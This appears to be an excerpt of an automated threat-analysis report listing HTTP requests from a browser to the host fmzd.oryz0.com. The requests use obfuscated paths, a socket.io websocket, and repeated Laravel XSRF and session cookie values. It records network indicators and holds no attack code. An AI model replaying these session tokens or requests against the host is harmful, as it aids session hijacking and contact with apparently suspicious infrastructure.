XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: fmzd.oryz0.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fmzd.oryz0.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3DSec-WebSocket-Key: xl0DSaeivFkjlX9VT9gy0w==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56U8OCnuR5DmPArMrtJ18ijqNNqUgDps4geJeU89106 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /bftRxKkv3PsBzf1QWLiUOYZ6VtdhMdfdCpGmapVuoYCxCnUeyTVRLL4g HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
